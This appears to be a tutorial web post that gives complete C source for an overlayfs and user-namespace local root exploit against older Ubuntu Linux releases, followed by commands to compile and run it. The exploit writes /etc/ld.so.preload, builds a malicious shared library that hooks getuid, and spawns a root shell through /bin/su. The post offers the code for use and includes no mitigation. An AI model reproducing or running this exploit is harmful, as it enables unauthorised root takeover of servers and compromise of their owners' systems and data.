I will show you how hackers gain root access to your Linux VPS server. This exploit still working nowadays. The process will be e...
I will show you how hackers gain root access to your Linux VPS server. This exploit still working nowadays.
The process will be explained with details following this demo:First: Create a C file "privilege_escalation.c"
put this code in the file:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
Second Step : Compile and Build the program :
To create the executable run this command:
user@ubuntu-server-1504:~$ gcc privilege_escalation.c -o privilege_escalationThis will make an executable program called privilege_escalation..
Final Step : Get access to shell As root (running the exploit)
execute the exploit by this command:
user@ubuntu-server-1504:~$ ./privilege_escalation
This will generate a root terminal.
This exploit works on Ubuntu 12.04, 14.04, 14.10, 15.04
